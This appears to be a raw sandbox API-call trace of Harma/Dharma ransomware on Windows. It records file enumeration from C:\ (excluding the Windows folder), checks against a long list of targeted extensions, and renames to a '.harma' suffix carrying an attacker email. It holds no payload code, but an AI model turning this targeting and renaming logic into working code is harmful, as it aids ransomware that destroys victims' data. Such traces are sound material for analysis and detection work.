lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.263] lstrlenW (lpString=".7z") returned 3 [0176.263] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.263] lstrlenW (lpString=".dbf") returned 4 [0176.263] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.263] lstrlenW (lpString=".1cd") returned 4 [0176.263] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.263] lstrlenW (lpString=".jpg") returned 4 [0176.263] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.263] lstrlenW (lpString=".doc") returned 4 [0176.263] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.263] lstrlenW (lpString=".docx") returned 5 [0176.263] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.263] lstrlenW (lpString=".pdf") returned 4 [0176.263] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.263] lstrlenW (lpString=".xls") returned 4 [0176.263] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.263] lstrlenW (lpString=".xlsx") returned 5 [0176.263] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.263] lstrlenW (lpString=".ppt") returned 4 [0176.263] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.263] lstrlenW (lpString=".zip") returned 4 [0176.264] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.264] lstrlenW (lpString=".rar") returned 4 [0176.264] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.264] lstrlenW (lpString=".bz2") returned 4 [0176.264] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.264] lstrlenW (lpString=".7z") returned 3 [0176.264] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.264] lstrlenW (lpString=".dbf") returned 4 [0176.264] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.264] lstrlenW (lpString=".1cd") returned 4 [0176.264] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.264] lstrlenW (lpString=".jpg") returned 4 [0176.264] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.264] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.264] lstrlenW (lpString="BabyBoyScenesBackground.wmv") returned 27 [0176.264] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.265] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2e9ff1c | out: lpFileSize=0x2e9ff1c*=149292) returned 1 [0176.265] CloseHandle (hObject=0x1d4) returned 1 [0176.265] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0176.265] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.265] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.265] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79 [0176.265] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79 [0176.265] lstrlenW (lpString=".doc") returned 4 [0176.265] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.266] lstrlenW (lpString=".docx") returned 5 [0176.266] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0176.266] lstrlenW (lpString=".pdf") returned 4 [0176.266] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.266] lstrlenW (lpString=".xls") returned 4 [0176.266] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.266] lstrlenW (lpString=".xlsx") returned 5 [0176.266] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0176.266] lstrlenW (lpString=".ppt") returned 4 [0176.266] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.266] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79 [0176.266] lstrlenW (lpString=".zip") returned 4 [0176.266] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.266] lstrlenW (lpString=".rar") returned 4 [0176.266] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.266] lstrlenW (lpString=".bz2") returned 4 [0176.266] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.266] lstrlenW (lpString=".7z") returned 3 [0176.266] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.266] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned 79 [0176.309] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0176.309] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 Thread: id = 84 os_tid = 0x6a8 [0174.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3470268 [0174.648] lstrlenW (lpString="C:") returned 2 [0174.648] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2fdfd00 | out: lpFindFileData=0x2fdfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x532368 [0174.648] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0174.648] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0174.648] lstrlenW (lpString="$Recycle.Bin") returned 12 [0174.648] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0174.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3480270 [0174.649] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0174.649] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2fdfa84 | out: lpFindFileData=0x2fdfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3490278 [0174.649] FindNextFileW (in: hFindFile=0x3490278, lpFindFileData=0x2fdfa84 | out: lpFindFileData=0x2fdfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.649] FindNextFileW (in: hFindFile=0x3490278, lpFindFileData=0x2fdfa84 | out: lpFindFileData=0x2fdfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0174.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0174.649] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0174.649] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0174.649] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0174.649] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x34912c0 [0174.650] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0174.650] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2fdf808 | out: lpFindFileData=0x2fdf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34a12c8 [0174.650] FindNextFileW (in: hFindFile=0x34a12c8, lpFindFileData=0x2fdf808 | out: lpFindFileData=0x2fdf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.650] FindNextFileW (in: hFindFile=0x34a12c8, lpFindFileData=0x2fdf808 | out: lpFindFileData=0x2fdf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d54a20, ftCreationTime.dwHighDateTime=0x1d58aa9, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0174.650] lstrlenW (lpString="desktop.ini") returned 11 [0174.650] lstrlenW (lpString=".1cd") returned 4 [0174.650] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0174.650] lstrlenW (lpString=".3ds") returned 4 [0174.650] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0174.650] lstrlenW (lpString=".3fr") returned 4 [0174.650] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0174.650] lstrlenW (lpString=".3g2") returned 4 [0174.650] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0174.650] lstrlenW (lpString=".3gp") returned 4 [0174.650] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0174.650] lstrlenW (lpString=".7z") returned 3 [0174.650] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0174.650] lstrlenW (lpString=".accda") returned 6 [0174.650] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0174.650] lstrlenW (lpString=".accdb") returned 6 [0174.650] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0174.650] lstrlenW (lpString=".accdc") returned 6 [0174.650] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0174.650] lstrlenW (lpString=".accde") returned 6 [0174.651] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0174.651] lstrlenW (lpString=".accdt") returned 6 [0174.651] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0174.651] lstrlenW (lpString=".accdw") returned 6 [0174.651] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0174.651] lstrlenW (lpString=".adb") returned 4 [0174.651] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".adp") returned 4 [0174.651] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".ai") returned 3 [0174.651] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0174.651] lstrlenW (lpString=".ai3") returned 4 [0174.651] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".ai4") returned 4 [0174.651] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".ai5") returned 4 [0174.651] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".ai6") returned 4 [0174.651] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".ai7") returned 4 [0174.651] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".ai8") returned 4 [0174.651] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".anim") returned 5 [0174.651] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0174.651] lstrlenW (lpString=".arw") returned 4 [0174.651] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".as") returned 3 [0174.651] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0174.651] lstrlenW (lpString=".asa") returned 4 [0174.651] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".asc") returned 4 [0174.651] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0174.651] lstrlenW (lpString=".ascx") returned 5 [0174.652] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0174.652] lstrlenW (lpString=".asm") returned 4 [0174.652] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".asmx") returned 5 [0174.652] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0174.652] lstrlenW (lpString=".asp") returned 4 [0174.652] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".aspx") returned 5 [0174.652] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0174.652] lstrlenW (lpString=".asr") returned 4 [0174.652] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".asx") returned 4 [0174.652] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".avi") returned 4 [0174.652] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".avs") returned 4 [0174.652] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".backup") returned 7 [0174.652] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0174.652] lstrlenW (lpString=".bak") returned 4 [0174.652] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".bay") returned 4 [0174.652] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".bd") returned 3 [0174.652] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0174.652] lstrlenW (lpString=".bin") returned 4 [0174.652] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".bmp") returned 4 [0174.652] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".bz2") returned 4 [0174.652] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0174.652] lstrlenW (lpString=".c") returned 2 [0174.652] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0174.652] lstrlenW (lpString=".cdr") returned 4 [0174.652] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".cer") returned 4 [0174.653] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".cf") returned 3 [0174.653] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0174.653] lstrlenW (lpString=".cfc") returned 4 [0174.653] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".cfm") returned 4 [0174.653] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".cfml") returned 5 [0174.653] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0174.653] lstrlenW (lpString=".cfu") returned 4 [0174.653] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".chm") returned 4 [0174.653] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".cin") returned 4 [0174.653] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".class") returned 6 [0174.653] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0174.653] lstrlenW (lpString=".clx") returned 4 [0174.653] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".config") returned 7 [0174.653] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0174.653] lstrlenW (lpString=".cpp") returned 4 [0174.653] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".cr2") returned 4 [0174.653] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".crt") returned 4 [0174.653] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".crw") returned 4 [0174.653] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0174.653] lstrlenW (lpString=".cs") returned 3 [0174.653] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0174.653] lstrlenW (lpString=".css") returned 4 [0174.653] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".csv") returned 4 [0174.654] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".cub") returned 4 [0174.654] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dae") returned 4 [0174.654] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dat") returned 4 [0174.654] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".db") returned 3 [0174.654] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0174.654] lstrlenW (lpString=".dbf") returned 4 [0174.654] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dbx") returned 4 [0174.654] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dc3") returned 4 [0174.654] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dcm") returned 4 [0174.654] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dcr") returned 4 [0174.654] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".der") returned 4 [0174.654] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dib") returned 4 [0174.654] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dic") returned 4 [0174.654] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".dif") returned 4 [0174.654] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0174.654] lstrlenW (lpString=".divx") returned 5 [0174.654] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0174.654] lstrlenW (lpString=".djvu") returned 5 [0174.654] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0174.654] lstrlenW (lpString=".dng") returned 4 [0174.654] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".doc") returned 4 [0174.655] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".docm") returned 5 [0174.655] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0174.655] lstrlenW (lpString=".docx") returned 5 [0174.655] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0174.655] lstrlenW (lpString=".dot") returned 4 [0174.655] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".dotm") returned 5 [0174.655] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0174.655] lstrlenW (lpString=".dotx") returned 5 [0174.655] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0174.655] lstrlenW (lpString=".dpx") returned 4 [0174.655] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".dqy") returned 4 [0174.655] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".dsn") returned 4 [0174.655] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".dt") returned 3 [0174.655] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0174.655] lstrlenW (lpString=".dtd") returned 4 [0174.655] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".dwg") returned 4 [0174.655] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".dwt") returned 4 [0174.655] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".dx") returned 3 [0174.655] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0174.655] lstrlenW (lpString=".dxf") returned 4 [0174.655] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0174.655] lstrlenW (lpString=".edml") returned 5 [0174.655] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0174.655] lstrlenW (lpString=".efd") returned 4 [0174.656] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".elf") returned 4 [0174.656] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".emf") returned 4 [0174.656] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".emz") returned 4 [0174.656] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".epf") returned 4 [0174.656] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".eps") returned 4 [0174.656] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".epsf") returned 5 [0174.656] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0174.656] lstrlenW (lpString=".epsp") returned 5 [0174.656] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0174.656] lstrlenW (lpString=".erf") returned 4 [0174.656] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".exr") returned 4 [0174.656] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".f4v") returned 4 [0174.656] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".fido") returned 5 [0174.656] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0174.656] lstrlenW (lpString=".flm") returned 4 [0174.656] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".flv") returned 4 [0174.656] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".frm") returned 4 [0174.656] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".fxg") returned 4 [0174.656] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0174.656] lstrlenW (lpString=".geo") returned 4 [0174.656] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".gif") returned 4 [0174.657] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".grs") returned 4 [0174.657] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".gz") returned 3 [0174.657] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0174.657] lstrlenW (lpString=".h") returned 2 [0174.657] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0174.657] lstrlenW (lpString=".hdr") returned 4 [0174.657] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0174.657] lstrlenW (lpString=".hpp") returned 4 